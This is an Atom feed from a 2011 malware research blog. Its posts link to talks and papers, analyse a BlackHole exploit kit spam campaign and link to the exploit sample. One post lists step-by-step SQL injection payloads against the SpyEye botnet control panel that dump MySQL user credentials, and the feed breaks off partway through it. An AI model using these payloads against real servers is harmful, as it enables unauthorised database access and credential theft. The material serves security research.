<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1900729850320917040</id><updated>2012-01-05T14:37:15.011-08:00</updated><title type='text'>Malware at Stake</title><subtitle type='html'>Analysis, straight from the hidden and underground.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-2311075324269081001</id><published>2011-11-28T05:16:00.000-08:00</published><updated>2011-12-20T13:28:03.727-08:00</updated><title type='text'>Commercial Crime International - Social Networks Article</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;div style="width:477px" id="__ss_10365084"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/commercial-cyber-crime-social-networks-malware" title="Commercial Cyber Crime - Social Networks Malware" target="_blank"&gt;Commercial Cyber Crime - Social Networks Malware&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/10365084" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;"The advent of social networks has turned the online world into a virtual society. And whilst social networks serve as seamless communication channels, they are also an ideal launch pad for malware infections. There has been a tremendous increase in the dissemination of malware infections through social networks."&lt;br /&gt;&lt;br /&gt;Checkout article in &lt;span style="font-weight:bold;"&gt;Commercial Crime International - ISSN 1012-2710&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-2311075324269081001?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/2311075324269081001/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/11/commercial-cyber-crime-social-networks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/2311075324269081001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/2311075324269081001'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/11/commercial-cyber-crime-social-networks.html' title='Commercial Crime International - Social Networks Article'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5718359762765397824</id><published>2011-11-26T12:24:00.000-08:00</published><updated>2011-11-26T12:25:20.479-08:00</updated><title type='text'>Virus Bulletin - Formgrabbing on Fire</title><content type='html'>Botnets such as Zeus, SpyEye and others use the effective technique of form grabbing to steal sensitive information from victims’ machines. We are presenting the complete details of  form-grabbing technique.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.virusbtn.com/virusbulletin/archive/2011/11/vb201111-form-grabbing"&gt;http://www.virusbtn.com/virusbulletin/archive/2011/11/vb201111-form-grabbing&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5718359762765397824?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5718359762765397824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/11/virus-bulletin-formgrabbing-on-fire.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5718359762765397824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5718359762765397824'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/11/virus-bulletin-formgrabbing-on-fire.html' title='Virus Bulletin - Formgrabbing on Fire'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-7585174892771526321</id><published>2011-10-17T09:35:00.000-07:00</published><updated>2011-10-17T10:31:20.305-07:00</updated><title type='text'>BlackHole BEP + HP Scanner Infections</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-b_3fLiCzTXs/TpxjPKCeoAI/AAAAAAAABA0/apgzPxrztrA/s1600/email.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 143px; height: 155px;" src="http://1.bp.blogspot.com/-b_3fLiCzTXs/TpxjPKCeoAI/AAAAAAAABA0/apgzPxrztrA/s400/email.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5664511543369179138" /&gt;&lt;/a&gt; We have recently encountered a heavy set of email traffic spreading HP scanning email with non legitimate links. No doubt, this campaign is a traffic infection process by sending plethora of emails around the internet. It is not a big deal of getting email addresses nowadays. It is just a walk-around in the park for the phishers or attackers. This HP scanning email looks like as presented below&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-tuDiYtnbB-Q/TpxcqWWlidI/AAAAAAAABAQ/8hhz7KwjpUg/s1600/hp_malware.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 210px;" src="http://1.bp.blogspot.com/-tuDiYtnbB-Q/TpxcqWWlidI/AAAAAAAABAQ/8hhz7KwjpUg/s400/hp_malware.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5664504313949817298" /&gt;&lt;/a&gt;&lt;br /&gt;The only part that interests in giving a brief shot at this malware campaign is the usage of &lt;span style="font-weight:bold;"&gt;Java Exploits through BlackHole BEP.&lt;/span&gt;&lt;br /&gt;The user is forced or tricked to visit a domain with URL &lt;span style="font-weight:bold;"&gt;hxxp://finance-motor.info/main.php&lt;/span&gt; which is further redirected to malicious domain &lt;span style="font-weight:bold;"&gt;hxxp://ahredret.ru/main.php&lt;/span&gt;. Now the URL, which is from russian domain with following information&lt;br /&gt;&lt;span style="font-style:italic;"&gt;domain:     AHREDRET.RU&lt;br /&gt;nserver:    dns1.naunet.ru.&lt;br /&gt;nserver:    dns2.naunet.ru.&lt;br /&gt;state:      REGISTERED, DELEGATED, UNVERIFIED&lt;br /&gt;person:     Private Person&lt;br /&gt;e-mail:     mxx3@yandex.ru&lt;br /&gt;registrar:  NAUNET-REG-RIPN&lt;br /&gt;created:    2011.10.06&lt;br /&gt;paid-till:  2012.10.06&lt;br /&gt;source:     TCI&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Last updated on 2011.10.17 20:35:46 MSK/MSD&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above presented information shows that this domain is activated and is recently accessed. The active time stamp shows that this is an active infection process. Without a doubt, the domain has port 80 and port 22 opened. The port 80 serves the BlackHole BEP and port 22 is for administration as shown below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;22/tcp   open     ssh            OpenSSH 4.3 (protocol 2.0)&lt;br /&gt;| ssh-hostkey: 1024 bb:d1:ae:ea:db:46:97:2a:09:ca:38:cc:50:47:9c:24 (DSA)&lt;br /&gt;&lt;br /&gt;|_1024 39:1d:f5:8c:fa:ad:9c:02:a0:bf:db:9d:2a:24:73:bb (RSA)&lt;br /&gt;80/tcp   open     http           nginx&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, the next step is to try with wepawet but as expected the server did not respond well to the tool as presented below&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-FvRXllHwTdw/TpxfNdEGsuI/AAAAAAAABAc/2DtmDYH9v7E/s1600/wepawet_hp_mal.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 142px;" src="http://2.bp.blogspot.com/-FvRXllHwTdw/TpxfNdEGsuI/AAAAAAAABAc/2DtmDYH9v7E/s400/wepawet_hp_mal.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5664507116070023906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The automated HTTP request/response and detection module did not work appropriately. At last, its all about manual analysis by setting an appropriate sandbox environment. We preferred to have a generic settings that provide malware an opportunity to expand and gives us the information that is required. So on performing manual testing carefully, we were served with exploit prototype as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-wqi59gERFaQ/TpxiRspO7dI/AAAAAAAABAo/P3fL9JN_670/s1600/bh_exp_hp.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 388px;" src="http://3.bp.blogspot.com/-wqi59gERFaQ/TpxiRspO7dI/AAAAAAAABAo/P3fL9JN_670/s400/bh_exp_hp.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5664510487506644434" /&gt;&lt;/a&gt;&lt;br /&gt;The field.jar contains the following set of Java files&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-BBQHnKucwm8/Tpxkl2qAwFI/AAAAAAAABBA/T9eZDPRvEOI/s1600/field.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 184px;" src="http://2.bp.blogspot.com/-BBQHnKucwm8/Tpxkl2qAwFI/AAAAAAAABBA/T9eZDPRvEOI/s400/field.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5664513032814903378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We have already performed analysis on this kind of exploit which is used effectively by the BlackHole &lt;span style="font-weight:bold;"&gt;(Java is what I like the most for spreading infections).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fetch the code - &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.secniche.org/sample_exploits/hp_scan_exploit.rar"&gt;http://www.secniche.org/sample_exploits/hp_scan_exploit.rar&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoy !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-7585174892771526321?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/7585174892771526321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/10/blackhole-bep-hp-scanner-infection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7585174892771526321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7585174892771526321'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/10/blackhole-bep-hp-scanner-infection.html' title='BlackHole BEP + HP Scanner Infections'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-b_3fLiCzTXs/TpxjPKCeoAI/AAAAAAAABA0/apgzPxrztrA/s72-c/email.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-8904013151174073524</id><published>2011-10-08T13:31:00.000-07:00</published><updated>2011-10-08T13:34:29.205-07:00</updated><title type='text'>Virus Bulletin 2011 Conference -  Death by Bundled Exploits</title><content type='html'>We have presented about our research at Virus Bulletin conference 2011. &lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;div style="width:425px" id="__ss_9610870"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/virus-bulletin-2011-conference-browser-exploit-packs-death-by-bundled-exploits" title="Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exploits" target="_blank"&gt;Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exploits&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9610870" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Threatpost coverage : &lt;span style="font-weight:bold;"&gt;&lt;a href="http://threatpost.com/en_us/blogs/researcher-malware-increasingly-interdependent-stifles-security-wares-100711"&gt;http://threatpost.com/en_us/blogs/researcher-malware-increasingly-interdependent-stifles-security-wares-100711&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-8904013151174073524?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/8904013151174073524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/10/virus-bulletin-2011-conference-browser.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8904013151174073524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8904013151174073524'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/10/virus-bulletin-2011-conference-browser.html' title='Virus Bulletin 2011 Conference -  Death by Bundled Exploits'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-144745881534353991</id><published>2011-10-02T20:26:00.000-07:00</published><updated>2011-10-02T20:33:32.287-07:00</updated><title type='text'>OWASP AppSec USA 2011 - Dismantling  Web Malware</title><content type='html'>&lt;center&gt;&lt;div style="width:425px" id="__ss_9515153"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/owasp-appsec-usa-2011-hunting-web-malware" title="OWASP AppSec USA 2011 - Hunting Web Malware" target="_blank"&gt;OWASP AppSec USA 2011 - Hunting Web Malware&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9515153" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-144745881534353991?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/144745881534353991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/10/owasp-appsec-usa-2011-hunting-web.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/144745881534353991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/144745881534353991'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/10/owasp-appsec-usa-2011-hunting-web.html' title='OWASP AppSec USA 2011 - Dismantling  Web Malware'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-720780208508509352</id><published>2011-09-29T16:29:00.001-07:00</published><updated>2011-09-29T16:30:16.618-07:00</updated><title type='text'>Virus Bulletin - Browser Malware Taxonomy</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;div style="width:477px" id="__ss_9479452"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/browser-malware-taxonomy" title="Browser Malware Taxonomy" target="_blank"&gt;Browser Malware Taxonomy&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9479452" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Journal : &lt;a href="http://www.virusbtn.com/virusbulletin/archive/2011/06/vb201106-browser-malware-taxonomy"&gt;http://www.virusbtn.com/virusbulletin/archive/2011/06/vb201106-browser-malware-taxonomy&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;We will be releasing more papers from Virus Bulletin, once we complete the three month time period from the date of publication. Its all about serving the contract.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-720780208508509352?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/720780208508509352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/09/virus-bulletin-browser-malware-taxonomy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/720780208508509352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/720780208508509352'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/09/virus-bulletin-browser-malware-taxonomy.html' title='Virus Bulletin - Browser Malware Taxonomy'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4346994210566916843</id><published>2011-09-20T15:17:00.000-07:00</published><updated>2011-09-20T15:18:40.012-07:00</updated><title type='text'>BruCon 2011 - Botnets and Browsers</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;div style="width:425px" id="__ss_9348753"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/brucon-brussels-2011-hacking-conference-botnets-and-browsers-brothers-in-the-ghost-shell" title="BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in the Ghost Shell)" target="_blank"&gt;BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in the Ghost Shell)&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9348753" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4346994210566916843?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4346994210566916843/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/09/brucon-2011-botnets-and-browsers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4346994210566916843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4346994210566916843'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/09/brucon-2011-botnets-and-browsers.html' title='BruCon 2011 - Botnets and Browsers'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5182509855391699104</id><published>2011-08-31T06:29:00.000-07:00</published><updated>2011-08-31T09:55:25.704-07:00</updated><title type='text'>Blasting SpyEye C&amp;C - SQL Injection Wins</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-zIy-jZZF558/Tl5hE0Cl1tI/AAAAAAAAA_w/6uUNf6mNzpw/s1600/orbz-fire-icon.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 154px; height: 154px;" src="http://1.bp.blogspot.com/-zIy-jZZF558/Tl5hE0Cl1tI/AAAAAAAAA_w/6uUNf6mNzpw/s400/orbz-fire-icon.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5647057718086063826" /&gt;&lt;/a&gt;The world has changed dramatically with the evolution of malware. A similar set of vulnerabilities ( web attacks specific) such as SQL injection can be used to compromise the malware driven server. Some time ago, we talked about &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.blogspot.com/2010/11/binding-spyeye-10x-with-blind-sql.html"&gt;Blind SQL Injection in SpyEye Version 1.0&lt;/a&gt;&lt;/span&gt; in which we presented about the vulnerability in the SpyEye code. Since then we dint get the time to present it as a complete case study. In this post, we are going to talk about the step by step approach to compromise the SpyEye database server. One can do lot of different attacks such as &lt;span style="font-weight:bold;"&gt;Local File Inclusion (LFI)&lt;/span&gt; there by reading the configuration credentials. However, we are sticking to the SQL injection to show how well we can inject and take control of malware server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The vulnerability affects the latest version of spyeye (1.3) within "frmcp0/frm_findrep_sub2.php?id="&lt;/span&gt;. The good point is this SQL injection works right on the fly without any authentication. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 1: Version Disclosure - http://spyeye_domain.com/frmcp /frm_findrep_sub2.php?id=-999999%20union%20all%20select%200x31,concat(0x7e,0x27,version()&lt;br&gt;,0x27,0x7e),0x33,0x34,0x35,0x36,0x37--+&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-T5mLqSg1whU/Tl5giH01ZtI/AAAAAAAAA_o/5NC7QwMkw3o/s1600/updated_spyeye_mysql_version.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 217px;" src="http://2.bp.blogspot.com/-T5mLqSg1whU/Tl5giH01ZtI/AAAAAAAAA_o/5NC7QwMkw3o/s400/updated_spyeye_mysql_version.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5647057122101651154" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can see the injection is occurring in the title field. This suggests that our payload is getting injected. On similar testing pattern, let's perform some other set of injections as presented below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 2: Database Verification - http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999%20union%20all%20select%200x31,concat(0x7e,&lt;br&gt;0x27,database(),0x27,0x7e),0x33,0x34,0x35,0x36,0x37--+&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-CE_QHt6XvgU/Tl5iVrqnJEI/AAAAAAAAA_4/TwOqWtArlGc/s1600/up_spyeye_mysql_server.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 173px;" src="http://2.bp.blogspot.com/-CE_QHt6XvgU/Tl5iVrqnJEI/AAAAAAAAA_4/TwOqWtArlGc/s400/up_spyeye_mysql_server.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5647059107407406146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 3: Information Schema Disclosure - &lt;br /&gt;http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999 union all select 0x31,concat(0x7e,0x27,group_concat(column_name),0x27,0x7e),0x33,0x34,0x35,0x36,0x37 from `information_schema`.columns where table_schema=0x6d7973716c and table_name=0x75736572--+&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The disclosed schema is as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,&lt;br /&gt;Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,&lt;br /&gt;Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,&lt;br /&gt;Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,&lt;br /&gt;Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,&lt;br /&gt;Alter_routine_priv,Create_user_priv,ssl_type,ssl_cipher,x509_issuer,&lt;br /&gt;x509_subject,max_questions,max_updates,max_connections,max_user_connections &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 4: Pwning MySQL Database - http://spyeye_domain.com/frmcp0/frm_findrep_sub2.php?id=-999999 union all select 0x31,concat(0x7e,0x27,user.User,0x3a,user.Host,0x3a,user.Password,0x27,0x7e)&lt;br /&gt;,0x33,0x34,0x35,0x36,0x37 from `mysql`.user limit 0,1--+&lt;/span&gt;&lt;br 